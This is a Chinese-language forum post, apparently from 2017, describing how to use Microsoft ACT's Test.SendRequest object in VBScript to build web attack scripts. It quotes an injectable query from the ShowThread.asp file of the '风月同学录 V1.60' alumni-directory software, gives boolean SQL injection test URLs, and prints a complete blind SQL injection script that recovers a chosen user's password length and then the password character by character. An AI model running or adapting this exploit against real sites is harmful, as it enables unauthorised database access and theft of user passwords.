网赚论坛

 找回密码
 免费注册
查看: 235|回复: 0
打印 上一主题 下一主题

用vbs来写sql注入等80端口的攻击脚本

[复制链接]

19

主题

98

帖子

76

积分

Ⅰ级财主

Rank: 1

积分
76
跳转到指定楼层
楼主
发表于 2017-9-13 19:33:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
 昨天晚上在机器里乱翻时无意打开一个vbs脚本,突然发现一个以前没有见过的对象Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),虽然对象没有见过,但是意思很明显:发送http请求。本来以为是WMI script API的东东,但是没有找到创建对象的语句,这个脚本在Microsoft ACT里,Microsoft ACT是Visual Studio.Net带的一个测试站点的工具(Long,未来有用过这个吗?如果没有,你看这个如何?),以前打开过,但是没有研究过如何使用,于是我打开帮助文件(查过MSDN里有:ms-help://MS.VSCC/MS.MSDNVS.2052/act/htm/actml_main.htm),大致的读了一下,竟然是一整套的HTTP客户端对象(不知道这样说是不是准确),把对象和属性列出来,你看了就可以知道了,以下是Test对象模型,还有个application对象模型,如果你有深入了解的兴趣请看msdn,我还在学习中:
  -Connection对象
  Close方法
  Send方法
  IsOpen属性
  Port属性
  RedirectDepth属性
  Server属性
  UseSSL属性
  -Cookie对象//因为是测试站点的,用脚本程序模拟多用户,这个可以用来设置每个用户的cookie,那也该可以用来做手脚,呵呵
  Expires属性
  Name属性
  Path属性
  Value属性
  -Cookies对象
  Add方法
  Remove方法
  RemoveAll方法
  Count属性
  Item属性
  -Header对象
  Name属性
  Value属性
  -Request对象
  Body属性
  CodePage属性
  EncodeBody属性
  EncodeQueryAsUTF8属性
  Headers属性
  HTTPVersion属性
  Path属性
  ResponseBufferSize属性
  Verb属性
  -Response对象
  Body属性 //获取 HTTP 响应的正文。仅返回响应缓冲区中的正文部分。
  CodePage属性
  BytesRecv属性
  BytesSent属性
  ContentLength属性
  Headers属性
  HeaderSize属性
  HTTPVersion属性
  Path属性
  Port属性
  ResultCode属性
  HTTP状态代码
  Server属性
  TTFB属性
  TTLB属性
  UseSSl属性
  -Test对象
  CreateConnection方法
  CreateRequest方法
  GetCurrentUser方法
  GetGlobalIndex方法
  GetGlobalVariable方法
  GetNextUser方法
  IncrementGlobalIndex方法
  SendRequest方法
  SetGlobalIndex方法
  SetGlobalVariable方法
  Sleep方法
  Trace方法
  TraceLevel属性
  -User对象
  Cookies属性
  Name属性
  Password属性
  到此,你也许会想到很多用处,比如测试站点,测试服务器,测试程序,Cookie伪造...看你的想象力了,我第一件感兴趣的是开头提到的那句:Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),Test对象的SendRequest方法说明:
  oResponse = Test.SendRequest(strURL)
  参数:strURL as string:表示所请求的URL
  返回值Response As Reponse:表示代表响应请求的Web服务器响应的对象(就是上面的Response对象)
  这个对象让我们可以很容易的写出针对80端口的攻击程序,如溯雪的功能,现在流行sql injection,网上的sql injection的攻击程序大都用perl写的,我又不会perl,用C写一个完整的socket程序相对烦琐一些,是这个对象为vbs提供了可能,而且程序相当简单,虽然牺牲了效率,但是对于我们菜鸟不失为一个好办法,下面就举一个例子来说明:
  风月同学录是一套免费的asp同学录程序,可能你没有听说过,不过在同学录类的免费web程序中算是功能出色的了,所以有不少站点采用了或者修改后使用了它(我念过的那所高中的网站的同学录就是用的这套程序改写的),我手上有V1.60,去年从网上down下来的,写这篇时在寝室,上不了网,也无法得到最新的版本了,反正也只是个例子,就凑合用吧,呵呵。大致看了一些代码发现多处可以注入的地方,最明显(因为在首页就看到)的就是它的一个论坛形式的留言板ShowThread.asp里:
  ...
  topicid=request("RootID")
  sql="select topic,hits from bbs where parentid=0 and bbsid="&topicid
  set rs=conn.execute(sql)
  ...
  非常古老且经典的一个,呵呵,试了下:
  http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=1
  http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=2
  数据表结构我都知道,用户名也都可以在用户列表看出来,那么这个例子就演示一下猜解密码,什么?太简单了?只是个例子嘛,别笑哦~~写的时候也不是一帆风顺~~写的很差,尤其循环里如果探测到正确的就应该退出循环,但是想不起来怎么退出了(break?exit?),不过对于这个密码明文存放的程序来说已经够了,一个6位的密码用了15秒左右猜出,改进下会提高不少,但效率上始终和perl不能比了。
  要使用这个对象要装Microsoft ACT是Visual Studio.Net里一个工具,我在另一台机器上直接用regsrv32注册相关的dll失败了,所以还是要装一下。
  '*********************************************
  '风月同学录V1.60漏洞测试脚本 by luoluo
  '注意:需要装Visual Studio.Net里的ACT工具
  '*********************************************
  '**********************************优化了下,效率要高些
  Option Explicit
  On Error Resume Next
  Dim Test
  Dim o_Response
  Dim Wrong
  Dim i,j,k
  Dim pwd_len
  Dim pwd
  Dim strings
  Dim username
  '从命令行得到要破解的人的用户名
  If WScript.Arguments.Count > 0 Then
  username = WScript.Arguments(0)
  Else
  username = "luoluo"
  End If
  WScript.Echo "开始探测,请等待... ..."
  '正确页面的标志,这个随便找的,因为只要是两个页面返回的不同部分就可以了
  Wrong = "luoluoisachinesehacker"
  '存放密码
  pwd = ""
  '密码的字符范围
  strings = "0123456789abcdefghijklmnopqrstuvwxyz"
  '建立对象
  Set Test = CreateObject("ACT.Test")
  '得到用户的密码的长度
  For i = 0 to 128 step 1
  '发送请求,返回一个Response对象,地址长可以用&分成段,那样好看一些
  Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20len(userpwd)='" & i & "'%20and%20userid='" & username & "')")
  '如果返回的页面里有正确标志那么长度就对了
  If instr(o_Response.Body, Wrong)  0 Then
  pwd_len = "" & i & ""
  Exit For
  End If
  Next
  '猜解用户的密码
  For j = 1 to pwd_len step 1
  For k = 1 to len(strings) step 1
  Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20left(userpwd," & j & ")='" & pwd & mid(strings,k,1) & "'%20and%20userid='" & username & "')")
  If instr(o_Response.Body, Wrong)  0 Then
  pwd = pwd & mid(strings,k,1)
  Exit For
  End If
  Next
  Next
  If err Then
  WScript.Echo "错误:" & Error.Description
  Error.Clear
  Else
  '输出密码
  WScript.Echo "密码:" & pwd
  End If
  Set Test = nothing
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

广告合作|Archiver|手机版|小黑屋|财富吧

GMT+8, 2024-11-27 02:49 , Processed in 0.561601 second(s), 35 queries , Gzip On.

Powered by Discuz! X3.1

© 2014-2021 财富吧

快速回复 返回顶部 返回列表